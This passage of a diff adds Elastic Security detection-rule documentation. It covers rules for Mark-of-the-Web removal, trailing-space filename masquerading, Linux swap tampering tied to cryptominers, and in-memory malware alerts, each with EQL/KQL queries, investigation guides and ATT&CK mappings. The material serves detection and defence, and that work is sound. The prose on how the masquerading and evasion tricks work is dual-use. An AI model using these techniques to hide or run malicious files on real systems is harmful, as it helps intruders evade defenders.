5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.forcepoint.com/blog/x-labs/screenconnect-attack +* https://www.sonicwall.com/blog/living-off-legit-tools-stealthy-installation-of-remote-monitoring-agents-using-smartscreen-bypass +* https://any.run/cybersecurity-blog/rmm-blind-spot-for-cisos/ +* https://www.cyfirma.com/research/apt36-multi-vector-execution-malware-campaign-targeting-indian-government-entities/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Mark-of-the-Web Removal by an Unusual Process* + + + +*Possible investigation steps* + + +- Which process and account removed Mark-of-the-Web from which artifact? + - Focus: Review `file.path`, `process.executable`, `process.name`, `user.name`, and `host.name`. + - Implication: The alert establishes an attributed ADS deletion, not execution or intent. Treat a download, security, or deployment workflow as a benign candidate only when the exact remover, account, artifact, and an independent workflow record align. + +- Does the deleting-process context fit an expected unblocking workflow? + - Focus: From related process events, review `process.command_line`, `process.parent.executable`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Hint: When `process.entity_id` is populated, review events for the same process entity on the alert host !{investigate{"description":"","label":"Events for the deleting process on this host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: PowerShell unblocking or deployment activity needs an expected parent, operator or task, command, and target artifact; a trusted signer alone is insufficient. If `process.entity_id` is absent, use `host.id`, `process.pid`, and a tight alert-time window; missing related process telemetry remains unresolved. + +- What provenance does the base executable or MSI have? + - Focus: Strip the terminal `:Zone.Identifier` or `:Zone.Identifier:$DATA` suffix, then search same-host file events for the base path and inspect `file.Ext.original.path`, `file.origin_url`, `file.origin_referrer_url`, `file.Ext.windows.zone_identifier`, and `file.hash.sha256` when populated. + - Hint: Start with the 24 hours before the deletion and widen to available retention when necessary. + - Implication: Missing download or file-origin telemetry is unresolved. Consistent source, hash, target directory, and a matching download or deployment record support the claimed workflow. + +- Was the base artifact executed or used in an installation attempt after deletion? + - Focus: For an EXE, match the base path to `process.executable`; for an MSI, find `msiexec.exe` with the exact base path in `process.args`. + - Hint: Search the same host for five minutes after the deletion, then widen when evidence warrants; review lineage and follow-on file or process activity. + - Implication: A match establishes observed execution or an installation attempt, not maliciousness or installation success. Inconsistent provenance, lineage, or follow-on behavior supports escalation; no match only limits observed impact. + +- Is the removal isolated or repeated on the host? + - Focus: Review deletions for the same ADS path !{investigate{"description":"","label":"File deletions for the same ADS path","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"deletion","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: When `user.id` is populated, review file deletions by the same user and process name, then retain only EXE or MSI `Zone.Identifier` paths !{investigate{"description":"","label":"File deletions by the same user and process name","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"{{process.name}}","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"deletion","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: If `user.id` is absent, use the exact-path results and a manual same-host search around the alert time. The broader transform returns all file deletions, not only MOTW removal; multiple unrelated matching artifacts support escalation, while a stable release set with the same expected workflow can support benign disposition. + +- Escalate when remover context, provenance, follow-on behavior, or repeated unrelated targets conflict with an expected workflow. Close only when alert telemetry and an independent download, deployment, or security-tool record align for the exact actor and artifact. Preserve evidence and escalate mixed or incomplete cases. + + +*False positive analysis* + + +- Browser, download-handler, security-product, administrative, and deployment workflows can remove Mark-of-the-Web legitimately. Confirm that the process identity and lineage, account and host, exact artifact, provenance, and an independent product or deployment record describe the same workflow before closing the alert. +- Add an exception only after recurring benign examples establish stable fields. Constrain it to alert fields such as the exact remover executable and signer, target path or package family, and expected account or host class; do not exclude PowerShell or all trusted processes globally. + + +*Response and remediation* + + +- For unresolved activity, preserve the alert and source events, then recover the deleting-process and artifact context. Do not isolate a host solely on this low-severity signal. +- If malicious activity or suspicious follow-on behavior is confirmed, contain affected hosts or accounts with reversible controls. Preserve volatile evidence when active or memory-resident behavior warrants it, then terminate malicious processes and quarantine artifacts or persistence after evidence review. +- For confirmed benign activity, close the alert and consider a narrow exception only after recurring examples establish stable fields. Document affected paths, scope, observed workflow evidence, and telemetry gaps. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "deletion" and + file.path : ( + "*.exe:Zone.Identifier", + "*.exe:Zone.Identifier:$DATA", + "*.msi:Zone.Identifier", + "*.msi:Zone.Identifier:$DATA" + ) and + + /* Explorer may remove MOTW after SmartScreen */ + not ( + process.executable : "?:\\Windows\\explorer.exe" and + process.code_signature.trusted == true and + process.code_signature.subject_name : "Microsoft Windows" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Mark-of-the-Web Bypass +** ID: T1553.005 +** Reference URL: https://attack.mitre.org/techniques/T1553/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-masquerading-space-after-filename.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-masquerading-space-after-filename.asciidoc new file mode 100644 index 0000000000..28c6ddbcf0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-masquerading-space-after-filename.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-masquerading-space-after-filename]] +=== Masquerading Space After Filename + +This rules identifies a process created from an executable with a space appended to the end of the filename. This may indicate an attempt to masquerade a malicious file as benign to gain user execution. When a space is added to the end of certain files, the OS will execute the file according to it's true filetype instead of it's extension. Adversaries can hide a program's true filetype by changing the extension of the file. They can then add a space to the end of the name so that the OS automatically executes the file when it's double-clicked. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.picussecurity.com/resource/blog/picus-10-critical-mitre-attck-techniques-t1036-masquerading + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Masquerading +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Masquerading Space After Filename* + + +In Linux and macOS environments, file execution is determined by the file's true type rather than its extension. Adversaries exploit this by appending a space to filenames, misleading users into executing malicious files disguised as benign. The detection rule identifies such anomalies by monitoring process creation events with filenames ending in a space, excluding known safe processes and paths, thus highlighting potential masquerading attempts. + + +*Possible investigation steps* + + +- Review the process creation event details to identify the full path and name of the executable with a space appended. This can help determine if the file is located in a suspicious or unusual directory. +- Check the process.parent.args field to understand the parent process that initiated the execution. This can provide context on whether the execution was part of a legitimate process chain or potentially malicious activity. +- Investigate the user account associated with the process creation event to determine if the account has a history of executing similar files or if it has been compromised. +- Examine the file's true type and hash to verify its legitimacy and check against known malicious file databases or threat intelligence sources. +- Look for any additional process events or network activity associated with the suspicious executable to identify potential lateral movement or data exfiltration attempts. +- Cross-reference the event with any recent alerts or incidents involving the same host or user to identify patterns or ongoing threats. + + +*False positive analysis* + + +- Processes like "ls", "find", "grep", and "xkbcomp" are known to be safe and can be excluded from triggering the rule by adding them to the exception list. +- Executables located in directories such as "/opt/nessus_agent/*", "/opt/gitlab/sv/gitlab-exporter/*", and "/tmp/ansible-admin/*" are typically non-threatening and should be excluded to prevent false positives. +- Parent processes with arguments like "./check_rubrik", "/usr/bin/check_mk_agent", "/etc/rubrik/start_stop_bootstrap.sh", and "/etc/rubrik/start_stop_agent.sh" are generally safe and can be added to the exclusion list to avoid unnecessary alerts. +- Regularly review and update the exception list to ensure that only verified safe processes and paths are excluded, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution or spread of the potentially malicious file. +- Terminate any suspicious processes identified by the detection rule to halt any ongoing malicious activity. +- Conduct a forensic analysis of the file with the appended space to determine its true file type and origin, using tools like file command or hex editors. +- Remove the malicious file from the system and any other locations it may have been copied to, ensuring complete eradication. +- Review and update endpoint protection settings to block execution of files with suspicious naming conventions, such as those ending with a space. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess potential impacts on other systems. +- Implement additional monitoring for similar masquerading attempts by enhancing logging and alerting mechanisms to detect files with unusual naming patterns. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type:("linux","macos") and event.type == "start" and +process.executable regex~ """/[a-z0-9\s_\-\\./]+\s""" and not ( + process.name in ("ls", "find", "grep", "xkbcomp") or + process.executable like ("/opt/nessus_agent/*", "/opt/gitlab/sv/gitlab-exporter/*", "/tmp/ansible-admin/*") or + process.parent.args in ( + "./check_rubrik", "/usr/bin/check_mk_agent", "/etc/rubrik/start_stop_bootstrap.sh", "/etc/rubrik/start_stop_agent.sh" + ) or + process.args == "runc" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Space after Filename +** ID: T1036.006 +** Reference URL: https://attack.mitre.org/techniques/T1036/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-memory-swap-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-memory-swap-modification.asciidoc new file mode 100644 index 0000000000..2b86ded56d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-memory-swap-modification.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-memory-swap-modification]] +=== Memory Swap Modification + +This rule detects memory swap modification events on Linux systems. Memory swap modification can be used to manipulate the system's memory and potentially impact the system's performance. This behavior is commonly observed in malware that deploys miner software such as XMRig. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Memory Swap Modification* + + +Memory swap in Linux systems manages RAM by moving inactive pages to disk, freeing up memory for active processes. Adversaries exploit this by altering swap settings to degrade performance or deploy resource-intensive malware like cryptominers. The detection rule identifies suspicious activities by monitoring processes that modify swap settings or execute related commands, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process details to identify the parent process using the field process.parent.executable. This can help determine if the swap modification was initiated by a legitimate or suspicious parent process. +- Examine the command line arguments captured in process.command_line to understand the specific changes made to swap settings, such as modifications to vm.swappiness. +- Check the user account associated with the process to determine if the action was performed by a privileged or unauthorized user. +- Investigate any recent system performance issues or anomalies that could be linked to swap modifications, such as increased CPU or memory usage. +- Correlate the event with other security alerts or logs to identify if this activity is part of a larger pattern of suspicious behavior, such as the presence of cryptomining software like XMRig. +- Assess the system for any unauthorized software installations or configurations that could indicate a compromise, focusing on resource-intensive applications. + + +*False positive analysis* + + +- System administrators may frequently modify swap settings during routine maintenance or performance tuning. To handle this, create exceptions for known administrator accounts or specific maintenance scripts. +- Automated configuration management tools like Ansible or Puppet might execute commands that alter swap settings. Identify these tools and exclude their processes from triggering alerts. +- Some legitimate applications may adjust swap settings to optimize their performance. Monitor and whitelist these applications to prevent unnecessary alerts. +- Development environments often experiment with system settings, including swap configurations. Consider excluding processes from known development environments or specific user accounts associated with development activities. +- Scheduled tasks or cron jobs might include swap modification commands for system optimization. Review and whitelist these tasks if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or impact of the potential malware. +- Terminate any suspicious processes identified by the detection rule, such as those involving "swapon", "swapoff", or unauthorized modifications to "vm.swappiness". +- Conduct a thorough scan of the isolated system using updated antivirus or anti-malware tools to identify and remove any malicious software, particularly cryptominers like XMRig. +- Review and restore swap settings to their default or secure configurations to ensure system stability and performance. +- Implement monitoring for any further unauthorized changes to swap settings or related processes to detect and respond to similar threats promptly. +- Escalate the incident to the security operations team for a detailed forensic analysis to understand the scope and origin of the attack. +- Update system and security patches to close any vulnerabilities that may have been exploited by the adversary. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. + +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +?process.parent.executable != null and +process.name in ("swapon", "swapoff") or ( + process.command_line like ("*vm.swappiness*", "*/proc/sys/vm/swappiness*") and ( + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and + process.command_line like "*echo *" + ) + ) +) and +not ( + process.parent.name in ("lynis", "systemd", "end-zram-swapping", "SyxsenseResponder", "tuned", "platform-python", "timeout") or + ?process.parent.executable in ("/opt/puppetlabs/puppet/bin/ruby", "/u01/app/grid/perl/bin/perl") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Compute Hijacking +** ID: T1496.001 +** Reference URL: https://attack.mitre.org/techniques/T1496/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-memory-threat-detected-elastic-defend.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-memory-threat-detected-elastic-defend.asciidoc new file mode 100644 index 0000000000..3bd3e5ffbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-memory-threat-detected-elastic-defend.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-memory-threat-detected-elastic-defend]] +=== Memory Threat - Detected - Elastic Defend + +Generates a detection alert each time an Elastic Defend alert for memory signatures are received. Enabling this rule allows you to immediately begin investigating your Endpoint memory signature alerts. This rule identifies Elastic Defend memory signature detections only, and does not include prevention alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.alerts-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/yara +* https://docs.elastic.co/en/integrations/endpoint + +*Tags*: + +* Data Source: Elastic Defend +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Memory Threat - Detected - Elastic Defend* + + +Elastic Endpoint’s memory threat protection adds a layer of coverage for advanced attacks which avoid the traditional approach of writing payloads to disk. Instead, the malicious code runs only in-memory, an effective technique for evading legacy security products. There are currently two sub-categories of memory threat protection. + +The first category is referred to as memory signatures and is available on all supported OS. It operates by periodically scanning process executable memory regions based on their activity to identify and terminate known bad malware. + +The second category is referred to as shellcode thread and is unique to Windows endpoints today. A common technique of in-memory malware is to load the payload in a memory region not backed by a file on disk and create a thread to execute it. + + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts : + - For shellcode alerts, the key for bucketing alerts is stored in the `Memory_protection.unique_key_v1` field. + - For Memory signature alerts, bucket based on the signatures which match `rule.name`. +- Examine the following fields if there are any matches on known Yara signatures: + - `process.Ext.memory_region.malware_signature.all_names` + - `Target.process.Ext.memory_region.malware_signature.all_names` + - `process.Ext.memory_region.malware_signature.primary.signature.name` +- Review the memory region strings for any suspicious or unique keywords captured in `process.Ext.memory_region.strings` and `Target.process.Ext.memory_region.strings`. +- For signature matches review the `process.Ext.memory_region.malware_signature.primary.matches` and `process.Ext.memory_region.malware_signature.secondary.matches` to understand which keywords or byte sequences matched on the memory Yara signature. +- For shellcode alerts, check the field `Memory_protection.self_injection` value, if it's false it means it's a remote shellcode injection and you need to review the Target process details like `Target.process.executable` fields. +- Even if the acting process is signed, review any unsigned or suspicious loaded libraries (adversaries may use `DLL Side-Loading`) captured in: + - `process.thread.Ext.call_stack.module_path` + - `process.Ext.dll.path and process.Ext.dll.hash.sha256` + - `Target.process.Ext.dll.hash.sha256` + - `Target.process.Ext.dll.path` +- If you have access to VirusTotal of similar services, you can also perform vGrep searches to look for files with bytes matching on `process.thread.Ext.start_address_bytes` or `Target.process.thread.Ext.start_address_bytes`. +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. + + +*False positive analysis* + + +- False positives may include Yara signature matches on generic keywords or some third party softwares performing code injection (often all involved files are signed and by the same vendor). + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Implement Elastic Endpoint Security to detect and prevent further post exploitation activities in the environment. + - Contain the affected system by isolating it from the network to prevent further spread of the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + + +*Elastic Defend Alerts* + +This rule is designed to capture specific alerts generated by Elastic Defend. + +To capture all the Elastic Defend alerts, it is recommended to use all of the Elastic Defend feature-specific protection rules: + +Behavior - Detected - Elastic Defend (UUID: 0f615fe4-eaa2-11ee-ae33-f661ea17fbce) +Behavior - Prevented - Elastic Defend (UUID: eb804972-ea34-11ee-a417-f661ea17fbce) +Malicious File - Detected - Elastic Defend (UUID: f2c3caa6-ea34-11ee-a417-f661ea17fbce) +Malicious File - Prevented - Elastic Defend (UUID: f87e6122-ea34-11ee-a417-f661ea17fbce) +Memory Threat - Detected - Elastic Defend (UUID: 017de1e4-ea35-11ee-a417-f661ea17fbce) +Memory Threat - Prevented - Elastic Defend (UUID: 06f3a26c-ea35-11ee-a417-f661ea17fbce) +Ransomware - Detected - Elastic Defend (UUID: 0c74cd7e-ea35-11ee-a417-f661ea17fbce) +Ransomware - Prevented - Elastic Defend (UUID: 10f3d520-ea35-11ee-a417-f661ea17fbce) + +To avoid generating duplicate alerts, you should enable either all feature-specific protection rules or the Endpoint Security (Elastic Defend) rule (UUID: 9a1a2dae-0b5f-4c3d-8305-a268d404c306). + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind : alert and event.code : (memory_signature or shellcode_thread) and (event.type : allowed or (event.type: denied and event.outcome: failure)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-memory-threat-prevented-elastic-defend.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-memory-threat-prevented-elastic-defend.asciidoc new file mode 100644 index 0000000000..5720c87d6b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-memory-threat-prevented-elastic-defend.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-memory-threat-prevented-elastic-defend]] +=== Memory Threat - Prevented- Elastic Defend + +Generates a detection alert each time an Elastic Defend alert for memory signatures are received. Enabling this rule allows you to immediately begin investigating your Endpoint memory signature alerts. This rule identifies Elastic Defend memory signature preventions only, and does not include detection only alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.alerts-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/yara +* https://docs.elastic.co/en/integrations/endpoint + +*Tags*: + +* Data Source: Elastic Defend +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Memory Threat - Prevented- Elastic Defend* + + +Elastic Endpoint’s memory threat protection adds a layer of coverage for advanced attacks which avoid the traditional approach of writing payloads to disk. Instead, the malicious code runs only in-memory, an effective technique for evading legacy security products. There are currently two sub-categories of memory threat protection. + +The first category is referred to as memory signatures and is available on all supported OS. It operates by periodically scanning process executable memory regions based on their activity to identify and terminate known bad malware. + +The second category is referred to as shellcode thread and is unique to Windows endpoints today. A common technique of in-memory malware is to load the payload in a memory region not backed by a file on disk and create a thread to execute it. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts : + - For shellcode alerts, the key for bucketing alerts is stored in the `Memory_protection.unique_key_v1` field. + - For Memory signature alerts, bucket based on the signatures which match `rule.name`. +- Examine the following fields if there are any matches on known Yara signatures: + - `process.Ext.memory_region.malware_signature.all_names` + - `Target.process.Ext.memory_region.malware_signature.all_names` + - `process.Ext.memory_region.malware_signature.primary.signature.name` +- Review the memory region strings for any suspicious or unique keywords captured in `process.Ext.memory_region.strings` and `Target.process.Ext.memory_region.strings`. +- For signature matches review the `process.Ext.memory_region.malware_signature.primary.matches` and `process.Ext.memory_region.malware_signature.secondary.matches` to understand which keywords or byte sequences matched on the memory Yara signature. +- For shellcode alerts, check the field `Memory_protection.self_injection` value, if it's false it means it's a remote shellcode injection and you need to review the Target process details like `Target.process.executable` fields. +- Even if the acting process is signed, review any unsigned or suspicious loaded libraries (adversaries may use `DLL Side-Loading`) captured in: + - `process.thread.Ext.call_stack.module_path` + - `process.Ext.dll.path and process.Ext.dll.hash.sha256` + - `Target.process.Ext.dll.hash.sha256` + - `Target.process.Ext.dll.path` +- If you have access to VirusTotal of similar services, you can also perform vGrep searches to look for files with bytes matching on `process.thread.Ext.start_address_bytes` or `Target.process.thread.Ext.start_address_bytes`. +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. + + +*False positive analysis* + + +- False positives may include Yara signature matches on generic keywords or some third party software performing code injection (often all involved files are signed and by the same vendor). + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Implement Elastic Endpoint Security to detect and prevent further post exploitation activities in the environment. + - Contain the affected system by isolating it from the network to prevent further spread of the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- 